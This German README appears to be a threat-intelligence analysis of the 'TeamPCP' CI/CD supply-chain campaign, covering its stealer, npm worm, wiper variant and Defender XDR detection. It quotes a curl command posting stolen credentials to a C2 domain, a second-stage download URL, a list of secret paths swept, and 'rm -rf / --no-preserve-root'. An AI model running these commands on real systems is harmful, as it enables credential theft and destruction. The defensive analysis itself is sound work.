TeamPCP Supply-Chain-Angriff: Technische Analyse & Erkennungsleitfaden

CVE-2026-33634 (CVSS 9.4) — Der bisher folgenreichste CI/CD-Supply-Chain-Angriff des Jahres 2026.

Zwischen dem 19. und 25. März 2026 führte der Bedrohungsakteur TeamPCP (auch bekannt als DeadCatx3, PCPcat, ShellForce, CanisterWorm) eine kaskadenartige Supply-Chain-Kompromittierung über fünf Ökosysteme aus: GitHub Actions, Docker Hub, OpenVSX, npm und PyPI. Ausgehend von einem einzigen unvollständig rotierten GitHub-PAT breitete sich die Kampagne über zwei große Open-Source-Sicherheitsanbieter (Aqua Security und Checkmarx), vier GitHub-Actions-Repositories, zwei VS-Code-Erweiterungen, Container-Registries und 66+ npm-Pakete aus.

Dieses Repository bietet eine vollständige technische Aufschlüsselung, kuratierte IOC-Listen (FP-getestet) und sofort einsetzbare Erkennungsabfragen für Microsoft Defender XDR.

Inhaltsverzeichnis

• Angriffszeitleiste
• Kill-Chain-Aufschlüsselung
• Kompromittierte Artefakte
• Funktionsweise des Credential-Stealers
• CanisterWorm — npm-Verbreitung
• Auf den Iran abzielende Wiper-Komponente
• Erkennung & Hunting
• IOC-Liste
• Hinweise zur FP-Filterung
• MITRE-ATT&CK-Zuordnung
• Referenzen

Angriffszeitleiste

Kill-Chain-Aufschlüsselung

Phase 1 — Erster Zugriff

Grundursache: unvollständige Credential-Rotation nach dem Vorfall vom 28. Februar. Das PAT des Dienstkontos aqua-bot wurde entweder nicht widerrufen, oder der Angreifer hat das neue Token während der Rotation beobachtet.

TeamPCP nutzte diesen verbleibenden Zugriff, um Versionstags per Force-Push auf bösartige Impostor-Commits zu setzen. Jeder gefälschte Commit übernahm die Metadaten des Originals (Autor, Zeitstempel, Nachricht), während das Einstiegspunkt-Skript durch das Stealer-Payload ersetzt wurde. Die GitHub-Release-Seite zeigte keine sichtbare Veränderung — sogar das Abzeichen „Immutable“ wurde normal angezeigt.

Phase 2 — Payload-Ausführung

Der Stealer — ein 204-zeiliges entrypoint.sh, das sich selbst als „TeamPCP Cloud stealer“ identifiziert — führt einen dreistufigen Angriff aus:

Stufe 1: Speicher-Scraping

Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory

Stufe 2: Dateisystem-Credential-Sweep

Durchsucht 50+ sensible Pfade, darunter:

• SSH-Schlüssel (~/.ssh/*)
• AWS/GCP/Azure-Anmeldeinformationen
• Kubernetes-Tokens und -Konfigurationen
• Docker-Registry-Anmeldeinformationen
• Terraform-State-Dateien
• Krypto-Wallets (Solana, Bitcoin, Ethereum, Cardano)
• npm-Tokens (~/.npmrc)
• Shell-Historien
• .env-Dateien

Stufe 3: Verschlüsselte Exfiltration

• Bündelt alle gesammelten Daten in tpcp.tar.gz
• Verschlüsselt mit AES-256-CBC (zufälliger Session-Key) + RSA-4096/RSA-OAEP (öffentlicher Schlüssel des Angreifers)
• Exfiltriert per curl POST an anbieterspezifische Typosquat-Domains
• Fallback: Erstellt mit gestohlenem GITHUB_TOKEN ein Repo tpcp-docs oder docs-tpcp im GitHub-Konto des Opfers

Phase 3 — Persistenz

Auf Linux-Systemen außerhalb von CI führt die Malware Folgendes aus:

1. Erstellt das versteckte Verzeichnis ~/.config/sysmon/
2. Legt eine Python-Hintertür ab (sysmon.py)
3. Installiert einen systemd-User-Service, der alle 50 Minuten das C2 abfragt
4. Kill-Switch: Wenn die C2-Antwort „youtube“ enthält, überspringt die Hintertür die Ausführung

Phase 4 — Laterale Bewegung (Checkmarx-Welle)

Gestohlene Anmeldeinformationen aus der Trivy-Welle ermöglichten die Kompromittierung des Checkmarx-Ökosystems. Jede neue Welle nutzte eine andere Typosquat-C2-Domain, um Blocklisten der vorherigen Welle zu umgehen:

Kompromittierte Artefakte

GitHub Actions

OpenVSX-Erweiterungen (VS-Code-Marketplace NICHT betroffen)

Beide Erweiterungen wurden am 23. März um 12:53 UTC im Abstand von 12 Sekunden über das Konto ast-phoenix veröffentlicht. Bei Aktivierung prüft environmentAuthChecker.js auf Anmeldeinformationen von Cloud-Anbietern und lädt anschließend einen Stealer der zweiten Stufe von checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.

Container-Images

PyPI

Dreifach verschachteltes Base64-Payload mit K8s-Toolkit für laterale Bewegung. Persistenz über sysmon.service, das checkmarx.zone/raw abfragt.

Funktionsweise des Credential-Stealers

Das Exfiltrationsmuster ist über alle Wellen hinweg identisch:

curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz

Die Typosquat-Domain-Strategie ist bewusst gewählt: Ein Analyst, der CI/CD-Logs prüft, sieht curl-Verkehr zur vermeintlich eigenen Anbieterdomain der Action. Ohne sorgfältigen Vergleich geht scan.aquasecurtiy.org bei einer schnellen Log-Prüfung als aquasecurity.org durch.

Nur der Angreifer kann gestohlene Daten entschlüsseln — der AES-Session-Key ist mit seinem öffentlichen Schlüssel per RSA-OAEP verschlüsselt.

CanisterWorm — npm-Verbreitung

Innerhalb von 24 Stunden nach der Trivy-Kompromittierung ermöglichten gestohlene npm-Tokens einen sich selbst verbreitenden Wurm über 66+ Pakete (141 bösartige Artefakte).

Was CanisterWorm bemerkenswert macht:

• Erste dokumentierte npm-Malware, die einen ICP-Blockchain-Canister (Internet Computer Protocol) als C2 nutzt
• Der Canister unter tdtqy-oyaaa-aaaae-af2dq-cai ist ein dezentraler Smart Contract — kein einzelner Abschaltpunkt
• Setzt 3 Methoden frei: get_latest_link, http_request, update_link
• Der Angreifer kann Payloads auf allen infizierten Maschinen rotieren, ohne ein npm-Paket neu zu veröffentlichen
• Kill-Switch: Wenn der Canister eine URL mit youtube.com zurückgibt, schläft die Hintertür
• Persistenz: systemd-User-Service, der sich als pgmon (PostgreSQL-Überwachung) tarnt
• Abfrageintervall: alle 50 Minuten
• Binärdatei wird nach /tmp/pglog gelegt, Status in /tmp/.pg_state verfolgt

Bekannte kompromittierte Scopes: @emilgroup/*, @teale.io/* (selbstverbreitende Variante in @teale.io/eslint-config v1.8.11, v1.8.12)

Auf den Iran abzielende Wiper-Komponente

Eine destruktive Variante zielt gezielt auf iranische Systeme:

1. Kubernetes + Iran: Setzt privilegierte DaemonSets auf jedem Knoten ein (einschließlich Control Plane), löscht und erzwingt Neustarts über den Container kamikaze
2. Kubernetes + Nicht-Iran: Installiert die CanisterWorm-Hintertür als systemd-Dienst
3. Nicht-K8s + Iran: Führt rm -rf / --no-preserve-root mit sudo aus
4. Nicht-K8s + Nicht-Iran: Keine Aktion

Die Erkennung erfolgt über Systemzeitzonen- und Locale-Prüfungen.

Erkennung & Hunting

Microsoft Defender XDR — Benutzerdefinierte Erkennungsregel

Regelname: TeamPCP Supply Chain C2 and Malware IOC Match
Schweregrad: Hoch
Kategorie: CommandAndControl
Häufigkeit: Alle 1 Stunde

Siehe detection/defender_xdr_query.kql für die vollständige KQL-Abfrage.

Die Abfrage umfasst:

• 7 SHA256-Dateihashes (Stealer + CanisterWorm-Varianten)
• 2 C2-IP-Adressen
• 4 C2-Domains (Typosquats + ICP-Canister)
• 4 spezifische C2-URLs
• DNS-Auflösungsprüfungen

Defender-TI-Indikatoren-Import

Eine importfertige CSV-Datei wird unter iocs/FINAL_TeamPCP_IOC_25Mar2026.csv bereitgestellt. Diese Datei wurde in einer Produktionsumgebung eines Unternehmens auf False Positives (FP) getestet.

Andere Plattformen

IOC-Liste

Datei-Hashes (SHA256)

Netzwerk-IOCs

C2-URL-Pfade

Persistenz-Artefakte

GitHub-Exfiltrations-Repos (Fallback)

Hinweise zur FP-Filterung

Die Erkennungsabfragen und die IOC-CSV in diesem Repo wurden in einer Produktionsumgebung getestet, auf der Folgendes läuft:

• Ansible AWX/Tower mit den Collections community.general und kubernetes.core
• Claude Code und GitHub Copilot auf macOS-Entwickler-Workstations
• FortiMonitor-Agent (IMDS-Abfrage)
• Oracle AHF auf OCI-Instanzen (IMDS-Abfrage)
• Verschiedene Python/Node.js-Entwicklungstoolchains

Die folgenden IOCs wurden aufgrund bestätigter False Positives entfernt:

MITRE-ATT&CK-Zuordnung

Referenzen

Lizenz

MIT — Frei verwenden, teilen und anpassen. Namensnennung erwünscht.

Autor: Ugur Can Ates — SOC-Teamleiter & Senior Security Engineer
Zuletzt aktualisiert: 25. März 2026